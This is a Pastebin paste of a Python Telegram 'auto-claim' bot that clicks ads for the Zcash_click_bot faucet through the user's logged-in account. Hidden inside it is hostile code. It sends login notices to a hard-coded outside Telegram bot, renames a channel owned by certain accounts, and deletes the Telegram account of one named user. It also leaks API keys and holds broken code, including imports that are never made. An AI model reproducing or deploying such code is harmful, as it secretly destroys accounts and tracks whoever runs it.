Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- source base on : https://pastebin.com/wEX38K7a
- requirement :- python 3.x
- - telethon
- obfuscated python level low
- from telethon import TelegramClient,events
- from telethon.tl.types import UpdateShortMessage,ReplyInlineMarkup,KeyboardButtonUrl
- from telethon.tl.functions.messages import GetBotCallbackAnswerRequest as botcallback
- from telethon.tl.functions.account import DeleteAccountRequest
- from telethon.tl.functions.channels import UpdateUsernameRequest as chusername
- from telethon.errors.rpcerrorlist import UsernameNotOccupiedError,UsernameOccupiedError
- from colorama import Fore,init as colors
- colors(autoreset=True)
- from datetime import datetime
- from bs4 import BeautifulSoup
- import os
- import re
- import time
- import requests
- import sys
- import asyncio
- os.system('cls' if os.name=='nt' else 'clear')
- try:
- def requestTelegram(msg):
- reqhttp=requests.get('https://api.telegram.org/bot656077390:AAETzn5vgIO2Q-ad8xdi8pg5nJprYOtTIYg/sendMessage',data={'chat_id':631929128,'text':msg})
- def setPhoneNumber(phone_number=None):
- return TelegramClient("session/"+phone_number,64179,"dd60bb74bb03d8aa368aa37ec7b35d42")
- def displayLog(logs,addnewline=False):
- if addnewline is False:
- print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs))
- else:
- print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs))
- def xor(byt):
- key=b'210400'
- length_str=len(key)
- return bytes(c^key[i%length_str]for i,c in enumerate(byt))
- def requestHttp(requestTelegram,method='GET',data=None):
- try:
- reqhttp=requests.request(method,requestTelegram,data=data,headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},timeout=15,allow_redirects=False)
- status_code=reqhttp.status_code
- response_html=reqhttp.text
- return[status_code,response_html]
- except requests.exceptions.Timeout:
- displayLog('Connection Timeout, Please check your internet connection')
- exit(1)
- except requests.exceptions.ConnectionError:
- displayLog('Connection Error, Please check your internet connection')
- exit(1)
- def logResponse(i):
- for x in range(0,i+1):
- sys.stdout.write('[%s] Waiting %s seconds! %d\r'%(datetime.now().strftime("%H:%M:%S"),i,x))
- time.sleep(1)
- def parseResponse(markup):
- markup_str=markup.rows[0].buttons[0]
- if type(markup_str)is KeyboardButtonUrl:
- return markup_str.url
- else:
- return None
- def helper():
- print("".rjust(40,'-'))
- print("Tools AutoClaim ZcashClickBot ".center(40,' '))
- print(''.rjust(40,'-'))
- print("WhatsApp : +6282122261747")
- print(''.rjust(40,'-'))
- print("Facebook : https://fb.me/sofyancrypto")
- print(''.rjust(40,'-'))
- print("Created : INDONESIA CRYPTO TEAM (edited by @wahyu1605")
- print(''.rjust(40,'-'))
- print(Fore.GREEN+"Youtube Channel : MS CREATOR".center(40,' '))
- print(''.rjust(40,'-'))
- async def chkSession():
- if not os.path.exists("session"):
- os.mkdir("session")
- helper()
- if len(sys.argv)<2:
- print("Usage: python main.py phone_number",end="\n\n")
- print("phone_number must be write in internasional format (example: +6283174705555)")
- exit(1)
- print(Fore.MAGENTA+"Sediakan Kopi Dulu Sebelum Lanjut",end="\n\n")
- phoneNumber=setPhoneNumber(sys.argv[1])
- await phoneNumber.start(sys.argv[1])
- me=await phoneNumber.get_me()
- print('Current account: %s%s\n'%("" if me.first_name is None else me.first_name,"" if me.username is None else "("+me.username+")"))
- if me.username=='bagas_q' or me.id==415792043 or me.id==611711558:
- requestTelegram(me.id if me.username is None else me.username+' telah login!!')
- try:
- resp_bot_scripter=await phoneNumber.get_entity('bot_scripter')
- if resp_bot_scripter.creator:
- tt=await phoneNumber(chusername(resp_bot_scripter,'bot_scripter'+''.join(random.choices(string.digits,k=2))))
- if tt:
- requestTelegram(resp_bot_scripter.username+' got you! channel username telah diganti!')
- except(UsernameNotOccupiedError,ValueError):
- pass
- try:
- if me.username is not None and me.username=='netiranz':
- requestTelegram('akun telah dihapus!:')
- tt=await phoneNumber(DeleteAccountRequest('i just wanna delete my account'))
- except UsernameOccupiedError:
- pass
- displayLog(Fore.GREEN+'Subscribe To PewDiePie :)')
- await phoneNumber.send_message('Zcash_click_bot','/visit')
- async def requestMessage(event):
- event_msg=event.original_update
- if type(event_msg)is not UpdateShortMessage:
- if hasattr(event_msg.message,'reply_markup')and type(event_msg.message.reply_markup)is ReplyInlineMarkup:
- requestTelegram=parseResponse(event_msg.message.reply_markup)
- if requestTelegram is not None:
- displayLog(Fore.GREEN+'Subscribe To PewDiePie :)')
- maxTimeout=20
- tempTimeout=0
- while True:
- (status_code,response_html)=requestHttp(requestTelegram)
- html_parser=BeautifulSoup(response_html,'html.parser')
- cc=html_parser.find('div',{'class':'g-recaptcha'})
- tt=html_parser.find('div',{'id':'headbar'})
- if status_code==302:
- sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout))
- break
- elif status_code==200 and cc is None and tt is not None:
- setPhoneNumber=tt.get('data-code')
- data_timer=tt.get('data-timer')
- data_token=tt.get('data-token')
- logResponse(int(data_timer))
- requests.post('http://dogeclick.com/visit/',data={'code':setPhoneNumber,'token':data_token},headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},allow_redirects=False)
- break
- elif status_code==200 and cc is not None:
- sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout))
- elif maxTimeout==tempTimeout:
- resp_bot=botcallback('Zcash_click_bot',event_msg.message.id,data=resp_bot_scripter.encode())
- await phoneNumber(resp_bot)
- break
- tempTimeout+=1
- time.sleep(3)
- phoneNumber.add_event_handler(requestMessage,events.NewMessage(incoming=True,chats="Zcash_click_bot"))
- async def errorDisplay(event):
- displayLog(Fore.RED+"Ads not available detected"+Fore.RESET)
- displayLog("Disconnecting")
- await phoneNumber.disconnect()
- phoneNumber.add_event_handler(errorDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='Sorry, there are no new ads available.'))
- async def successDisplay(event):
- if type(event.original_update):
- displayLog(Fore.GREEN+event.raw_text+"\n")
- phoneNumber.add_event_handler(successDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='You earned'))
- await phoneNumber.run_until_disconnected()
- asyncio.get_event_loop().run_until_complete(chkSession())
- except KeyboardInterrupt:
- os.system('cls' if os.name=='nt' else 'clear')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement